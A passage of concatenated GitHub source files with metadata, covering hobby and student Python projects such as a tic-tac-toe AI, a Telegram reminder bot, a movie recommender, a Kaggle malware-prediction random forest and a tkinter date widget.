\\\n * self.act_derivatives[j*self.nkernel + i]\n\n # Managing stride\n if self.stride != 1:\n loss_grad = to.dilate(loss_grad, self.stride - 1)\n\n kernel_update += to.convolution(self.prev_layer.last_outputs[j], loss_grad)\n\n self.kernels[i] += alfa * kernel_update + beta * self.ewma[i]\n self.ewma[i] = gamma * kernel_update + (1 - gamma) * self.ewma[i]","repo_name":"gcappellani/Deep-Learning","sub_path":"ConvolutionalLayers.py","file_name":"ConvolutionalLayers.py","file_ext":"py","file_size_in_byte":4133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32294185704","text":"import os\nimport sqlite3\nimport time\n\nfrom embedding_generator import EmbeddingGenerator\nfrom vector_db import VectorDatabase\n\n\nclass QueryDB:\n def __init__(self, index_name, db_name, table_name):\n self.index_name = index_name\n self.db_name = db_name\n self.table_name = table_name\n\n # create db connection\n self.conn = sqlite3.connect(self.db_name)\n self.cursor = self.conn.cursor()\n\n # load index\n self.vec_db = VectorDatabase()\n self.vec_db.load_index_from_disk(self.index_name)\n\n # load embedding generator\n self.eg = EmbeddingGenerator()\n self.eg.load_model()\n\n def get_text_from_db(self, idx: int):\n query = f\"SELECT uid, chunk_content from {self.table_name} where uid={idx}\"\n self.cursor.execute(query)\n data = self.cursor.fetchall()\n return data[0][1]\n\n def get_query_response(self, query: str, k: int):\n # convert query to embedding\n embd = self.eg.get_embedding(query)\n\n # get top3 matching results\n neighbors, distances = self.vec_db.index.query(embd, k=3)\n\n # get text chunk corresponding to neighbors\n resp = {idx: self.get_text_from_db(idx) for idx in neighbors}\n\n return resp\n\n\ndef main():\n query = \"What are the tax benefits of 529 plan?\"\n db_name = \"./../data/chunk_db.db\"\n table_name = \"investopedia_chunks\"\n index_name = \"./../data/investopedia_index1.voy\"\n\n qdb = QueryDB(index_name, db_name, table_name)\n\n t_start = time.perf_counter()\n response = qdb.get_query_response(query, 3)\n t_stop = time.perf_counter()\n\n print(response)\n print(\"Time Taken: \", t_stop - t_start)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sachinumrao/investopedia_qa_bot","sub_path":"src/query_db.py","file_name":"query_db.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10176787812","text":"def get_prime_number(limit):\n import math\n prime_num_list = [2,3]\n\n sqrt_limit = math.sqrt(limit)\n\n if limit > 4:\n for i in range(4,limit+1):\n is_prime = True\n for j in prime_num_list:\n if j> sqrt_limit:\n break\n elif i % j == 0:\n is_prime = False\n break\n if(is_prime):\n prime_num_list.append(i)\n return prime_num_list\n else:\n return list(filter(lambda x: x<=limit, [2,3]))\n\nprime_list = get_prime_number(123456*2)\nwhile True:\n n = int(input())\n\n if n == 0:\n break\n else:\n\n ranged_prime_list = list(filter(lambda x: x>n and x<=2*n, prime_list))\n\n print(len(ranged_prime_list))\n","repo_name":"modec28/Algorithm_study","sub_path":"baekjoon_algorithm/bj_4948.py","file_name":"bj_4948.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2482952095","text":"import pandas as pd\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\n\r\ndef create_nan_dict(data):\r\n ret = dict()\r\n for col in data:\r\n if col != 'HasDetections' and col != 'MachineIdentifier':\r\n ret[col] = data[col].astype('float32').mean()\r\n return ret\r\n\r\n\r\ndef remove_nans(data, nan_dict):\r\n for col in data:\r\n if col != 'HasDetections' and col != 'MachineIdentifier':\r\n data[col] = data[col].fillna(nan_dict[col])\r\n\r\n\r\n# Train the given learning algorithm. Predict the result and extract the output.\r\nprint('Loading the training set:')\r\ndtypes = {\r\n 'MachineIdentifier': 'category',\r\n 'AVProductsInstalled': 'float32',\r\n 'CountryIdentifier': 'float32',\r\n 'OrganizationIdentifier': 'float32',\r\n 'GeoNameIdentifier': 'float32',\r\n 'LocaleEnglishNameIdentifier': 'float32',\r\n 'OsBuild': 'int16',\r\n 'OsSuite': 'float32',\r\n 'OsPlatformSubRelease': 'float32',\r\n 'SkuEdition': 'float32',\r\n 'IeVerIdentifier': 'float32',\r\n 'SmartScreen': 'float32',\r\n 'Census_MDC2FormFactor': 'float32',\r\n 'Census_ProcessorCoreCount': 'float16',\r\n 'Census_ProcessorManufacturerIdentifier': 'float32',\r\n 'Census_PrimaryDiskTotalCapacity': 'float32',\r\n 'Census_PrimaryDiskTypeName': 'float32',\r\n 'Census_SystemVolumeTotalCapacity': 'float32',\r\n 'Census_TotalPhysicalRAM': 'float32',\r\n 'Census_ChassisTypeName': 'float32',\r\n 'Census_InternalPrimaryDiagonalDisplaySizeInInches': 'float16',\r\n 'Census_InternalPrimaryDisplayResolutionHorizontal': 'float16',\r\n 'Census_InternalPrimaryDisplayResolutionVertical': 'float16',\r\n 'Census_PowerPlatformRoleName': 'float32',\r\n 'Census_InternalBatteryType': 'float32',\r\n 'Census_InternalBatteryNumberOfCharges': 'float32',\r\n 'Census_OSBranch': 'float32',\r\n 'Census_OSBuildNumber': 'int16',\r\n 'Census_OSBuildRevision': 'int32',\r\n 'Census_OSEdition': 'float32',\r\n 'Census_OSSkuName': 'float32',\r\n 'Census_OSInstallTypeName': 'float32',\r\n 'Census_OSInstallLanguageIdentifier': 'float32',\r\n 'Census_OSUILocaleIdentifier': 'float32',\r\n 'Census_OSWUAutoUpdateOptionsName': 'float32',\r\n 'Census_GenuineStateName': 'float32',\r\n 'Census_ActivationChannel': 'float32',\r\n 'Census_IsFlightingInternal': 'float32',\r\n 'Census_ThresholdOptIn': 'float16',\r\n 'Census_IsSecureBootEnabled': 'int8',\r\n 'Census_IsWIMBootEnabled': 'float32',\r\n 'Census_IsTouchEnabled': 'int8',\r\n 'Wdft_IsGamer': 'float32',\r\n 'Wdft_RegionIdentifier': 'float32',\r\n 'HasDetections': 'int8',\r\n 'EngineVersion_0': 'float32',\r\n 'EngineVersion_1': 'float32',\r\n 'EngineVersion_2': 'float32',\r\n 'EngineVersion_3': 'float32',\r\n 'AppVersion_0': 'float32',\r\n 'AppVersion_1': 'float32',\r\n 'AppVersion_2': 'float32',\r\n 'AppVersion_3': 'float32',\r\n 'AvSigVersion_0': 'float32',\r\n 'AvSigVersion_1': 'float32',\r\n 'AvSigVersion_2': 'float32',\r\n 'AvSigVersion_3': 'float32',\r\n 'Census_OSVersion_0': 'float32',\r\n 'Census_OSVersion_1': 'float32',\r\n 'Census_OSVersion_2': 'float32',\r\n 'Census_OSVersion_3': 'float32'\r\n}\r\n\r\n# Read the data set\r\ntraining_set = pd.read_csv('../input/prepare-data-for-decision-trees-algorithms/training_decisionTrees.csv',\r\n dtype=dtypes)\r\nprint('Training set loaded')\r\nprint(training_set.shape)\r\n\r\n# Handle NaNs\r\nprint('Handling NaN in training set')\r\nnan_to_num_dict = create_nan_dict(training_set)\r\nremove_nans(training_set, nan_to_num_dict)\r\nprint('Done')\r\n\r\n\r\n# Now we remove columns that have only one value. Those columns are not relevant for Decision Tree and can be removed\r\n# for run time\r\ncolumns_to_remove = []\r\nfor col_name in training_set.columns.values:\r\n if col_name == 'HasDetections' or col_name == 'MachineIdentifier':\r\n continue\r\n unique_values = training_set[col_name].value_counts(dropna=False)\r\n if len(unique_values) == 1:\r\n del training_set[col_name]\r\n columns_to_remove.append(col_name)\r\n\r\nprint(str(len(columns_to_remove)) + ' columns removed')\r\nprint(training_set.shape)\r\n\r\n# Prepare the learning\r\nfeatures = [c for c in training_set.columns if c not in ['MachineIdentifier', 'HasDetections']]\r\nx_train = training_set[features]\r\ny_train = training_set['HasDetections']\r\ndel training_set\r\n\r\nrand_forest = RandomForestClassifier(n_estimators=200, min_samples_leaf=20, n_jobs=-1)\r\nprint('learning')\r\nrand_forest.fit(x_train, y_train)\r\nprint('Done')\r\ndel x_train, y_train\r\n\r\n# Read the test set and parse it\r\ntest = pd.read_csv('../input/prepare-data-for-decision-trees-algorithms/test_decisionTrees.csv', dtype=dtypes)\r\nremove_nans(test, nan_to_num_dict)\r\nx_test = test[features]\r\nto_submit = pd.DataFrame(test['MachineIdentifier'])\r\ndel test\r\ny_pred = rand_forest.predict_proba(x_test)[:, 1]\r\nto_submit['HasDetections'] = y_pred\r\nto_submit.to_csv('randomForest_minLeaf_10.csv', index=False)\r\n","repo_name":"sajedjalil/Data-Science-Pipeline-Detector","sub_path":"dataset/microsoft-malware-prediction/Itamar Gilad/random-forest-learn.py","file_name":"random-forest-learn.py","file_ext":"py","file_size_in_byte":4892,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"54"} +{"seq_id":"72071989281","text":"import os\nimport glob\nimport logging\nimport hashlib\nimport subprocess\n\nPAR2BIN = 'par2'\nPARITY_CUT_OFF_SIZE = 100 * 1024 # 100kb\n\nlogger = logging.getLogger(__name__)\n\n\n\nclass ParchiveException(Exception):\n pass\n\n\ndef _metadata(path):\n sha = hashlib.sha256()\n md5 = hashlib.md5()\n with open(path) as parity:\n while True:\n chunk = parity.read(1024)\n if chunk:\n sha.update(chunk)\n md5.update(chunk)\n else:\n break\n return {\n 'sha256': sha.hexdigest(),\n 'md5': md5.hexdigest(),\n 'lastModified': os.path.getmtime(path),\n 'size': os.path.getsize(path)\n }\n\n\ndef build_metadata(paths):\n meta = {}\n for path in paths:\n meta[os.path.basename(path)] = _metadata(path)\n return meta\n\n\ndef create(path, name, redundancy=5, force=False, files=1):\n if not force and os.path.getsize(path) < PARITY_CUT_OFF_SIZE:\n logger.info('Skipping parity creation for \"%s\", too small.' % name)\n return []\n folder_path = os.path.dirname(path)\n with open(os.devnull, 'wb') as DEVNULL:\n if subprocess.call([\n PAR2BIN,\n 'c',\n '-n{}'.format(files),\n '-r{}'.format(redundancy),\n os.path.join(folder_path, '%s.par2' % name),\n path],\n stdout=DEVNULL,\n stderr=DEVNULL) == 0:\n return [\n os.path.abspath(fpath)\n for fpath in\n glob.glob(os.path.join(folder_path, '*.par2'))\n if name in fpath\n ]\n raise ParchiveException()\n\n\ndef verify_file(to_verify, parities):\n return subprocess.call([PAR2BIN, 'v', ' '.join(parities), to_verify]) is 0\n\n\ndef restory_file():\n pass\n","repo_name":"chrisseto/Archiver","sub_path":"archiver/util/parchive.py","file_name":"parchive.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"20264080679","text":"from tkinter import Entry, Frame, FLAT, Label, END, SUNKEN, LEFT\nfrom datetime import datetime\n\n\"\"\"\nCode c/o pydesigner from stackoverflow:\nhttps://stackoverflow.com/a/13243973\n(with a heavy personal modifications)\n\"\"\"\n\nDEFAULTVALUE = ['', '', '']\n\n\nclass DateEntry(Frame):\n \"\"\" 3-part entry box for entering dates \"\"\"\n def __init__(self, master, text=DEFAULTVALUE):\n \"\"\"\n Parameters\n ----------\n master : instance of Widget\n master widget this one is a child of\n text : list of strings, length 3\n The values to initialise the DateEntry with\n\n \"\"\"\n Frame.__init__(self, master, relief=SUNKEN, border=1)\n\n self.validate_cmd = self.register(self._check_new)\n\n args = {'relief': FLAT, 'border': 0}\n\n # we can give the entries some default values if they are provided\n # if the text input is malformed (ie. not a list or doesn't have\n # 3 entires, just do an empty initial value)\n if not isinstance(text, list):\n text = DEFAULTVALUE\n else:\n if len(text) != 3:\n text = DEFAULTVALUE\n self.entry_1 = Entry(self, width=5, justify='center', **args)\n self.entry_1.insert(0, text[0])\n self.entry_1.configure(\n validate='key',\n validatecommand=(self.validate_cmd, 0, 2, '%P', '%s'))\n self.label_1 = Label(self, text='/', bg=\"white\", **args)\n self.entry_2 = Entry(self, width=5, justify='center', **args)\n self.entry_2.insert(0, text[1])\n self.entry_2.configure(\n validate='key',\n validatecommand=(self.validate_cmd, 1, 2, '%P', '%s'))\n self.label_2 = Label(self, text='/', bg=\"white\", **args)\n self.entry_3 = Entry(self, width=7, justify='center', **args)\n self.entry_3.insert(0, text[2])\n self.entry_3.configure(\n validate='key',\n validatecommand=(self.validate_cmd, 2, 4, '%P', '%s'))\n\n self.entry_1.pack(side=LEFT, fill='x', expand=True)\n self.label_1.pack(side=LEFT)\n self.entry_2.pack(side=LEFT, fill='x', expand=True)\n self.label_2.pack(side=LEFT)\n self.entry_3.pack(side=LEFT, fill='x', expand=True)\n\n self.entries = [self.entry_1, self.entry_2, self.entry_3]\n\n def _check_new(self, wid, max_length, new_val, old_val):\n \"\"\" Determine whether the value entered is valid\n\n Parameters\n ----------\n wid : str\n Widget ID\n max_length : int\n maximum number of characters in the sub-entries\n new_val : str\n Intended new value to check\n old_val : str\n Current value in the entry\n \"\"\"\n wid, max_length = int(wid), int(max_length)\n if len(new_val) > max_length:\n return False\n elif new_val == '':\n return True\n else:\n if not new_val.isdigit():\n return False\n else:\n if len(new_val) == max_length:\n # In this case, move cursor to next widget if we aren't the\n # last one.\n if wid != 2:\n self.entries[wid + 1].focus()\n return True\n\n def get(self):\n \"\"\" Returns a list of strings corresponding to the value of the date\"\"\"\n return [e.get() for e in self.entries]\n\n @property\n def valid(self):\n \"\"\" Whether or not the date entered is a valid date \"\"\"\n date = self.get()\n try:\n datetime(int(date[2]), int(date[1]), int(date[0]))\n return True\n except ValueError:\n return False\n\n def set(self, value):\n \"\"\"\n Sets the value of the DateEntry\n\n Parameters:\n -----------\n value : tuple of string or int's\n The value to set the date to\n \"\"\"\n self.entry_1.delete(0, END)\n self.entry_1.insert(0, str(value[0]))\n self.entry_2.delete(0, END)\n self.entry_2.insert(0, str(value[1]))\n self.entry_3.delete(0, END)\n self.entry_3.insert(0, str(value[2]))\n\n def setvar(self, value):\n \"\"\"\n Sets the value of the DateEntry using Variable's\n\n Parameters:\n -----------\n value : tuple of StringVar's\n The value to set the date to\n \"\"\"\n self.entry_1.config(textvariable=value[0])\n self.entry_2.config(textvariable=value[1])\n self.entry_3.config(textvariable=value[2])\n","repo_name":"Macquarie-MEG-Research/Biscuit","sub_path":"Biscuit/CustomWidgets/DateEntry.py","file_name":"DateEntry.py","file_ext":"py","file_size_in_byte":4529,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"73898340321","text":"from sys import argv\nimport random\n\n\ndef heuristic(board, pos, ai_player, player):\n x, y = pos\n\n test_board = [row.copy() for row in board] # Create a copy of the board\n test_board[x][y] = ai_player \n if check_win(test_board, ai_player) == \"win\":\n return 99\n\n\n test_board = [row.copy() for row in board] # Create a copy of the board\n test_board[x][y] = player \n if check_win(test_board, ai_player) == \"loss\":\n return 98 \n\n if pos == (1, 1):\n return 1\n\n if pos == (0, 0) or pos == (2, 2) or pos == (0, 2) or pos == (2, 0):\n return 1\n\n return 0\n\ndef check_win(test_board, ai_player):\n for i in range(3):\n if test_board[i][0] == test_board[i][1] == test_board[i][2] != \"+\":\n if test_board[i][0] == ai_player:\n return \"win\"\n else:\n return \"loss\"\n if test_board[0][i] == test_board[1][i] == test_board[2][i] != \"+\":\n if test_board[0][i] == ai_player:\n return \"win\"\n else:\n return \"loss\"\n\n # Check diagonals\n if test_board[0][0] == test_board[1][1] == test_board[2][2] != \"+\":\n if test_board[0][0] == ai_player:\n return \"win\"\n else:\n return \"loss\"\n if test_board[0][2] == test_board[1][1] == test_board[2][0] != \"+\":\n if test_board[0][2] == ai_player:\n return \"win\"\n else:\n return \"loss\"\n\n return \n\n\n\nclass Node:\n def __init__(self, pos, heuristic):\n self.pos = pos\n self.heuristic = heuristic\n\n\nclass Fronteir():\n def __init__(self):\n self.fronteir = []\n\n\n def add(self, node):\n self.fronteir.append(node)\n self.fronteir = sorted(self.fronteir, key=lambda x: (x.heuristic, random.random()))\n\n\n def empty(self):\n return len(self.fronteir) == 0\n\n\n def move(self):\n if self.empty():\n raise Exception(\"empty fronteir\")\n else:\n node = self.fronteir.pop(-1)\n return node\n\n\n def remove(self, xcoord, ycoord):\n if self.empty():\n raise Exception(\"empty fronteir\")\n else:\n self.fronteir = [node for node in self.fronteir if node.pos != (xcoord-1, ycoord-1)]\n\n\nclass Board:\n def __init__(self, player):\n self.board = [[\"+\", \"+\", \"+\",],\n [\"+\", \"+\", \"+\",],\n [\"+\", \"+\", \"+\",]]\n self.fronteir = Fronteir()\n if player == \"X\":\n self.ai_player = \"O\"\n elif player == \"O\":\n self.ai_player = \"X\"\n else:\n raise Exception(\"You must enter if you are X or O\")\n\n self.player = player\n self.moves_made = 0\n\n def game_over(self):\n for i in range(3):\n if self.board[i][0] == self.board[i][1] == self.board[i][2] != \"+\":\n print(f\"{self.board[i][0]} is the winner\")\n return True\n if self.board[0][i] == self.board[1][i] == self.board[2][i] != \"+\":\n print(f\"{self.board[0][i]} is the winner\")\n return True\n\n # Check diagonals\n if self.board[0][0] == self.board[1][1] == self.board[2][2] != \"+\":\n print(f\"{self.board[0][0]} is the winner\")\n return True\n if self.board[0][2] == self.board[1][1] == self.board[2][0] != \"+\":\n print(f\"{self.board[0][2]} is the winner\")\n return True\n\n for row in self.board:\n for space in row:\n if space == \"+\":\n return False\n\n print(\"Draw\")\n return True \n\n\n def print_board(self):\n print()\n for row in self.board:\n for space in row:\n print(space, end=\"\")\n print()\n\n\n def play_move(self):\n self.fronteir.fronteir = []\n if self.game_over():\n return\n for i in range(3):\n for j in range(3):\n if self.board[i][j] == \"+\":\n heuristic_value = heuristic(self.board, (i, j), self.ai_player, self.player)\n self.fronteir.add(Node(pos=(i, j), heuristic=heuristic_value))\n node = self.fronteir.move()\n x, y = node.pos\n self.board[x][y] = self.ai_player \n\n \n def play(self):\n last_move = \"O\" \n while not self.game_over():\n if last_move != self.ai_player:\n last_move = self.ai_player \n self.play_move()\n self.print_board()\n else:\n last_move = self.player \n while True:\n try:\n xcoord = int(input(\"\\nEnter x coord: \"))\n ycoord = int(input(\"Enter y coord: \"))\n except:\n print(\"NaN\") \n continue\n if xcoord not in range(1, 4):\n print(\"xcoord not between 1 and 3\")\n continue\n if ycoord not in range(1, 4):\n print(\"ycoord not between 1 and 3\")\n continue\n if self.board[ycoord-1][xcoord-1] == \"+\":\n self.board[ycoord-1][xcoord-1] = self.player \n if self.moves_made != 0:\n self.fronteir.remove(ycoord, xcoord)\n break\n self.moves_made += 1\n\n\n \nif __name__ == \"__main__\":\n board = Board(argv[1])\n board.play()\n","repo_name":"Sykotes/python-tictactoe-ai","sub_path":"tictactoe_ai.py","file_name":"tictactoe_ai.py","file_ext":"py","file_size_in_byte":5583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8974309456","text":"import logging\nimport asyncio\nfrom aiogram import Bot\nfrom database import db\nfrom datetime import datetime, time, timedelta\nfrom models.models import User, WeightLog\n\n\nasync def schedule_all(bot: Bot):\n for user in await db.get_all_users():\n await schedule_user(user = user, bot=bot)\n \n\nasync def schedule_user(user: User, bot: Bot):\n if user.notification_time:\n asyncio.create_task(send_notification(bot, user))\n asyncio.create_task(add_missed_entry(user))\n\nasync def send_notification(bot: Bot, user: User):\n latest_entry = await db.get_latest_entry(user.id)\n while True:\n if not await db.user_exists(user.id) or user.desired_weight >= latest_entry.weight:\n break\n else:\n current_time = datetime.now()\n notification_time = datetime(\n current_time.year, \n current_time.month,\n current_time.day,\n user.notification_time.hour,\n user.notification_time.minute)\n\n if current_time > notification_time:\n notification_time = notification_time.replace(day=notification_time.day + 1)\n\n seconds = (notification_time - current_time).total_seconds()\n logging.log(logging.INFO, f\"Notification scheduled for user {user.id} at {notification_time}\")\n await asyncio.sleep(seconds)\n if latest_entry.date != datetime.now().date():\n await bot.send_message(user.id, \"Время взвеситься. Напишите свой вес.\")\n \n \n\n\nasync def add_missed_entry(user: User):\n while True:\n current_time = datetime.now()\n missed_time = datetime.now().replace(hour=23, minute=59, second=59)\n seconds = (missed_time - current_time).total_seconds()\n await asyncio.sleep(seconds)\n latest_entry = await db.get_latest_entry(user.id)\n if latest_entry.date != current_time.date():\n logging.log(logging.INFO, f\"Missed entry added for user {user.id}\")\n await db.make_weight_entry(\n WeightLog(\n user_id=user.id, weight=latest_entry.weight, date=datetime.now().date()\n )\n )\n","repo_name":"dopecrab/fitness-tgbot","sub_path":"handlers/scheduled.py","file_name":"scheduled.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7022999655","text":"\"\"\"This module provides functionality for user notifications.\"\"\"\n\nimport asyncio\nfrom datetime import datetime\n\nfrom aiohttp import ClientSession\n\nfrom app.models.user import User\nfrom app.models.mcc import MCC\nfrom app.models.transaction import Transaction\nfrom app.utils.errors import DatabaseError\nfrom app.utils.telegram import send_notification\n\n\nLIMIT_NOTIFICATION_TEXT = \\\n \"*Limit Exceeded!* ⛔️\\n\\n\" \\\n \"▪️ Category: *{category}*\\n\" \\\n \"▪️ Category Limit: *{limit}*\\n\" \\\n \"▪️ Exceeded by: *{amount}*\\n\"\nTRANSACTION_NOTIFICATION_TEXT = \\\n \"*Transaction!* 💲\\n\\n\" \\\n \"▪️ Amount: *{amount}*\\n\" \\\n \"▪️ Category: *{category}*\\n\" \\\n \"▪️ Info: *{info}*\\n\" \\\n \"▪️ Balance: *{balance}*\\n\" \\\n \"▪ Timestamp: *{date}*\"\n\n\nasync def get_transaction_notification(transaction):\n \"\"\"Format a new transaction notification text.\"\"\"\n try:\n category = await MCC.get_category(transaction[\"mcc\"])\n except DatabaseError:\n category = \"-\"\n\n date = datetime.fromtimestamp(transaction[\"timestamp\"]).strftime(\"%d.%m.%Y %H:%M:%S\")\n notification = TRANSACTION_NOTIFICATION_TEXT.format(\n amount=transaction[\"amount\"],\n category=category,\n info=transaction[\"info\"],\n balance=transaction[\"balance\"],\n date=date\n )\n\n return notification\n\n\nasync def get_limit_notification(user_id, mcc_code):\n \"\"\"Format limit exceeding notification text.\"\"\"\n try:\n limit = await User.get_limit(user_id, mcc_code)\n except DatabaseError:\n return\n\n end_date = datetime.now()\n start_date = end_date.replace(day=1, hour=0, minute=0, second=0)\n try:\n transactions_amount = await Transaction.get_category_transactions_amount(\n user_id=user_id,\n category_id=limit.category_id,\n start_date=start_date,\n end_date=end_date\n )\n except DatabaseError:\n return\n\n if transactions_amount < limit[\"amount\"]:\n return\n\n notification = LIMIT_NOTIFICATION_TEXT.format(\n category=limit[\"category_name\"],\n limit=limit[\"amount\"],\n amount=limit[\"amount\"] - transactions_amount\n )\n\n return notification\n\n\nasync def send_user_notifications(user_id, transaction):\n \"\"\"Send transaction, limit notifications to user.\"\"\"\n try:\n user = await User.get(user_id)\n except DatabaseError:\n return\n\n if user.telegram_id is None or not user.notifications_enabled:\n # skip notifications processing for user with deactivated telegram\n # or disabled notifications\n return\n\n notification_events = []\n\n transaction_notification = await get_transaction_notification(transaction)\n notification_events.append(transaction_notification)\n\n if transaction[\"amount\"] < 0:\n limit_event = await get_limit_notification(user.id, transaction[\"mcc\"])\n notification_events.append(limit_event)\n\n async with ClientSession() as aio_session:\n notifications = [\n send_notification(aio_session, user.telegram_id, notification)\n for notification in notification_events\n if notification is not None\n ]\n\n await asyncio.gather(*notifications)\n","repo_name":"SpentlessInc/spentless-collector","sub_path":"collector/app/utils/notification.py","file_name":"notification.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8942987162","text":"# coding:utf-8\n\n### BONJOUR, ICI JHR ###\n### Mes notes et corrections sont précédées de trois dièses ###\n\n### Il fallait tout d'abord conserver la variable «publications».\n### Cela dit, on pouvait aussi s'en passer! :)\n### Mais si on faisait ça, il fallait la laisser dans un autre fichier.\n### J'ai appelé cet autre fichier «devoir1JHR.py» (et je l'ai rajouté à ton répertoire).\n### Il était ensuite possible d'importer la variable «publications» avec le code suivant:\n\nfrom devoir1JHR import publications ### Remarque: on ne met pas, ici, le «.py» au nom du fichier où se trouve le code qu'on importe\n\n### Une fois cela fait; le code fonctionne très bien!\n### C'est simple et efficace! Bravo!\n\n### Je n'ai qu'une seule suggestion constructive à faire:\n### Intéressant, ce que tu propose dans les 4 premières lignes, ci-dessous,\n### mais ce n'est pas nécessaire; ça alourdit, même, un peu, ton code :)\n\n#définition de la position des différents éléments \n\nnom_du_media=0\nnb_de_partages=3\nnb_de_reactions=4\nnb_de_commentaires=5\n\n#définition des variables\n\npartages=0\nreactions=0\ncommentaires=0\nengagements=0\n\n#on définit le premier média\n\nmedia_actuel=publications[0][nom_du_media]\n\n#création de la boucle\n\nfor i in range(0,len(publications)):\n\tif publications[i][nom_du_media]==media_actuel:\n\t\tpartages+=publications[i][nb_de_partages]\n\t\treactions+=publications[i][nb_de_reactions]\n\t\tcommentaires+=publications[i][nb_de_commentaires]\n\telse:\n\t\tengagements=partages+reactions+commentaires\n\n\t\tprint(\"Les publications du média\",media_actuel,\"ont été partagées\",partages,\"fois, ont provoqué\",reactions,\"réactions et ont généré\",commentaires,\"commentaires, pour un engagement total de\",engagements,\"en 2017.\")\n\n#le dernier élément n'est pas inclus dans la boucle puisque le code imprime les résultats d'une ligne seulement si un autre média se trouve après celle-ci, donc on recopie la séquence pour imprimer Vice Québec\n\n\t\tmedia_actuel=publications[i][nom_du_media]\n\n\t\tpartages=0\n\t\treactions=0\n\t\tcommentaires=0\n\t\tengagements=0\n\n\t\tpartages+=publications[i][nb_de_partages]\n\t\treactions+=publications[i][nb_de_reactions]\n\t\tcommentaires+=publications[i][nb_de_commentaires]\n\t\t\nengagements=partages+reactions+commentaires\n\t\t\nprint(\"Les publications du média\",media_actuel,\"ont été partagées\",partages,\"fois, ont provoqué\",reactions,\"réactions et ont généré\",commentaires,\"commentaires, pour un engagement total de\",engagements,\"en 2017.\")\n\n","repo_name":"yucamax/EDM5240-devoir1","sub_path":"devoir1_commentaires.py","file_name":"devoir1_commentaires.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30590788997","text":"#coding=utf-8\nimport numpy as np\nimport pandas as pd\n\n# 提取特征值的列名\nfeature_columns = ['Action', 'Adventure', 'Animation', 'Children\\'s', 'Comedy', 'Crime', 'Documentary', 'Drama', 'Fantasy', 'Film-Noir', 'Horror', 'Musical', 'Mystery', 'Romance', 'Sci-Fi', 'Thriller', 'War', 'Western', 'score']\n\n# 从dataframe中获取特征值数组\ndef get_features(df):\n\treturn df[feature_columns].values\n# 读取csv文件, 得到dataframe\nres_df = pd.read_csv(\"./res/res.csv\")\n# 用户事务循环\nwhile True:\n # 读取用户输入的电影id\n id = int(input(\"请输入电影id(-1退出):\"))\n if id == -1:\n break\n # 根据电影id查找电影,找不到则继续循环\n find_res = res_df[res_df['id'] == id]\n if(find_res.empty):\n continue\n # 打印用户输入id对应的电影信息\n print(find_res[['name', 'type', 'score']].squeeze())\n # 获取输入电影所属的簇号\n cluster_num = find_res['prediction'].squeeze()\n # 获取输入电影的特征值\n feature = get_features(find_res)\n # 获取相同簇号的所有电影信息并重置行索引\n cluster = res_df[res_df['prediction'] == cluster_num].reset_index(drop = True)\n # 特征值间距离列表(欧式距离)\n dis_list = []\n # 计算相同簇的���有电影的特征值与输入电影特征值的距离\n for index in cluster.index:\n # 跳过输入电影\n if cluster.iloc[index, 0] == id:\n continue\n # 获取电影特征值\n feature_other = get_features(cluster.loc[index])\n # 计算欧式距离并加入列表\n dis = np.linalg.norm(feature - feature_other)\n dis_list.append(dis)\n # 将列表转换为numpy数组\n dis_narray = np.array(dis_list)\n # 打印排序前10名的电影信息\n print(cluster.iloc[dis_narray.argsort()[:10]][['name', 'type', 'score']].reset_index(drop = True))\n \n","repo_name":"FENP/movie-recommendation---pyspark","sub_path":"recommend.py","file_name":"recommend.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74997171680","text":"# -*- coding: utf-8 -*-\nfrom django.conf.urls import patterns\nfrom django.conf.urls import url\n\nfrom .views import ApplicationCreateView, ApplicationDetailView, ApplicationUpdateView, ApplicationListview, ApplicationDeleteView\n\n\nurlpatterns = patterns(\"\",\n # {% url 'applications:form' project_id %}\n url(\n regex=r\"^form/(?P\\d+)/$\",\n view=ApplicationCreateView.as_view(),\n name=\"form\"\n ),\n # {% url 'applications:detail' pk %}\n url(\n regex=r\"^(?P\\d+)/$\",\n view=ApplicationDetailView.as_view(),\n name=\"detail\"\n ),\n # {% url 'applications:form' project_id pk %}\n url(\n regex=r\"^form/(?P\\d+)/(?P\\d+)/$\",\n view=ApplicationUpdateView.as_view(),\n name=\"form\"\n ),\n # {% url 'applications:list' %}\n url(\n regex=r\"^list/$\",\n view=ApplicationListview.as_view(),\n name=\"list\"\n ),\n # {% url 'applications:list' project_id %}\n url(\n regex=r\"^list/(?P\\d+)/$\",\n view=ApplicationListview.as_view(),\n name=\"list\"\n ),\n # {% url 'applications:delete' pk %}\n url(\n regex=r\"^delete/(?P\\d+)/$\",\n view=ApplicationDeleteView.as_view(),\n name=\"delete\"\n ),\n)","repo_name":"gokulmenon/shiny-ironman","sub_path":"django_project/applications/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71770406241","text":"from typing import Union, cast, List\nfrom rhombus_types.events import EnterEvent, ExitEvent, FinalizedEvent, events_are_the_same\nfrom pipeline.pipeline_services.event_collator import can_collate_events, do_collate_enter_and_exit\n\ndef internal_finalize_event(event: Union[EnterEvent, 